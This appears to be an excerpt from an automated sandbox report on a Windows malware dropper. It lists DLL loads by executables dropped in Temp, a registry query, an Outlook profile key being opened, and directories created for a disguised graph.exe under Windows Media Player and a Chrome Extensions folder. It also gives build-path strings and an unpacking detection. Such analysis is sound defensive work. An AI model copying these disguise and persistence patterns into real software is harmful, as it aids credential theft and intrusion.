Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: samcli.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: taskschd.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: xmllite.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: samlib.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: samcli.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: taskschd.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: xmllite.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Section loaded: samlib.dll
Source: C:\Program Files\Windows Media Player\graph\graph.exe Section loaded: apphelp.dll
Source: C:\Program Files\Windows Media Player\graph\graph.exe Section loaded: kernel.appcore.dll
Source: C:\Program Files\Windows Media Player\graph\graph.exe Section loaded: wbemcomn.dll
Source: C:\Program Files\Windows Media Player\graph\graph.exe Section loaded: amsi.dll
Source: C:\Program Files\Windows Media Player\graph\graph.exe Section loaded: userenv.dll
Source: C:\Program Files\Windows Media Player\graph\graph.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: dlnashext.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: wpdshext.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Program Files\Windows Media Player\graph\graph.exe Section loaded: kernel.appcore.dll
Source: C:\Program Files\Windows Media Player\graph\graph.exe Section loaded: wbemcomn.dll
Source: C:\Program Files\Windows Media Player\graph\graph.exe Section loaded: amsi.dll
Source: C:\Program Files\Windows Media Player\graph\graph.exe Section loaded: userenv.dll
Source: C:\Program Files\Windows Media Player\graph\graph.exe Section loaded: profapi.dll
Source: C:\Program Files\Windows Media Player\graph\graph.exe Section loaded: kernel.appcore.dll
Source: C:\Program Files\Windows Media Player\graph\graph.exe Section loaded: wbemcomn.dll
Source: C:\Program Files\Windows Media Player\graph\graph.exe Section loaded: amsi.dll
Source: C:\Program Files\Windows Media Player\graph\graph.exe Section loaded: userenv.dll
Source: C:\Program Files\Windows Media Player\graph\graph.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019806001\b05c9e01f3.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1019806001\b05c9e01f3.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1019806001\b05c9e01f3.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019806001\b05c9e01f3.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1019806001\b05c9e01f3.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019806001\b05c9e01f3.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1019806001\b05c9e01f3.exe Section loaded: kernel.appcore.dll
Source: C:\Program Files\Windows Media Player\graph\graph.exe Section loaded: kernel.appcore.dll
Source: C:\Program Files\Windows Media Player\graph\graph.exe Section loaded: wbemcomn.dll
Source: C:\Program Files\Windows Media Player\graph\graph.exe Section loaded: amsi.dll
Source: C:\Program Files\Windows Media Player\graph\graph.exe Section loaded: userenv.dll
Source: C:\Program Files\Windows Media Player\graph\graph.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019807001\fed209a298.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1019807001\fed209a298.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1019807001\fed209a298.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1019807001\fed209a298.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1019807001\fed209a298.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019807001\fed209a298.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1019807001\fed209a298.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1019807001\fed209a298.exe Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1019807001\fed209a298.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1019807001\fed209a298.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1019807001\fed209a298.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1019807001\fed209a298.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1019807001\fed209a298.exe Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1019807001\fed209a298.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1019807001\fed209a298.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1019807001\fed209a298.exe Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1019807001\fed209a298.exe Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1019807001\fed209a298.exe Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1019807001\fed209a298.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1019807001\fed209a298.exe Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1019807001\fed209a298.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1019807001\fed209a298.exe Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\cmd.exe Section loaded: cmdext.dll
Source: C:\Windows\System32\cmd.exe Section loaded: apphelp.dll
Source: C:\Windows\System32\mode.com Section loaded: ulib.dll
Source: C:\Windows\System32\mode.com Section loaded: ureg.dll
Source: C:\Windows\System32\mode.com Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Section loaded: msvcr100.dll
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Section loaded: linkinfo.dll
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Section loaded: ntshrui.dll
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Section loaded: cscapi.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Section loaded: profapi.dll
Source: C:\Users\user\Desktop\file.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Directory created: C:\Program Files\Google\Chrome\Extensions
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Directory created: C:\Program Files\Windows Media Player\1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Directory created: C:\Program Files\Windows Media Player\1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5fzip
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Directory created: C:\Program Files\Windows Media Player\graph
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Directory created: C:\Program Files\Windows Media Player\graph\graph.exe
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Directory created: C:\Program Files\Windows Media Player\1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f
Source: C:\Users\user\AppData\Local\Temp\1019804001\cc6f25572f.exe Directory created: C:\Program Files\Windows Media Player\1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5fzip
Source: file.exe Static file information: File size 3263488 > 1048576
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe File opened: C:\Windows\SysWOW64\msvcr100.dll
Source: file.exe Static PE information: Raw size of dblbhqnk is bigger than: 0x100000 < 0x2b0e00
Source: Binary string: D:\exe\final\final\graph\x64\Release\graph.pdb% source: cc6f25572f.exe, 00000010.00000003.2843921886.000002B0C3894000.00000004.00000020.00020000.00000000.sdmp, graph.exe, 00000012.00000000.2844105614.00007FF70EFA9000.00000002.00000001.01000000.00000010.sdmp, graph.exe, 00000014.00000000.2876091171.00007FF70EFA9000.00000002.00000001.01000000.00000010.sdmp, graph.exe, 00000015.00000000.2968882677.00007FF70EFA9000.00000002.00000001.01000000.00000010.sdmp, graph.exe, 00000017.00000000.3051120519.00007FF70EFA9000.00000002.00000001.01000000.00000010.sdmp
Source: Binary string: D:\exe\final\merged_final\x64\Release\fetcher2.pdb source: cc6f25572f.exe, 00000010.00000002.2888013323.00007FF735960000.00000002.00000001.01000000.0000000F.sdmp, cc6f25572f.exe, 00000010.00000000.2731872890.00007FF735960000.00000002.00000001.01000000.0000000F.sdmp, cc6f25572f.exe, 00000011.00000002.2972181574.00007FF735960000.00000002.00000001.01000000.0000000F.sdmp, cc6f25572f.exe, 00000011.00000000.2740743202.00007FF735960000.00000002.00000001.01000000.0000000F.sdmp
Source: Binary string: D:\exe\final\merged_final\x64\Release\fetcher2.pdb[ source: cc6f25572f.exe, 00000010.00000002.2888013323.00007FF735960000.00000002.00000001.01000000.0000000F.sdmp, cc6f25572f.exe, 00000010.00000000.2731872890.00007FF735960000.00000002.00000001.01000000.0000000F.sdmp, cc6f25572f.exe, 00000011.00000002.2972181574.00007FF735960000.00000002.00000001.01000000.0000000F.sdmp, cc6f25572f.exe, 00000011.00000000.2740743202.00007FF735960000.00000002.00000001.01000000.0000000F.sdmp
Source: Binary string: C:\Admin\Workspace\1766103906\Project\Release\Project.pdb source: af155ed129.exe, 00000006.00000000.2441026103.000000000032C000.00000002.00000001.01000000.00000009.sdmp
Source: Binary string: D:\exe\final\final\graph\x64\Release\graph.pdb source: cc6f25572f.exe, 00000010.00000003.2843921886.000002B0C3894000.00000004.00000020.00020000.00000000.sdmp, graph.exe, 00000012.00000000.2844105614.00007FF70EFA9000.00000002.00000001.01000000.00000010.sdmp, graph.exe, 00000014.00000000.2876091171.00007FF70EFA9000.00000002.00000001.01000000.00000010.sdmp, graph.exe, 00000015.00000000.2968882677.00007FF70EFA9000.00000002.00000001.01000000.00000010.sdmp, graph.exe, 00000017.00000000.3051120519.00007FF70EFA9000.00000002.00000001.01000000.00000010.sdmp

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
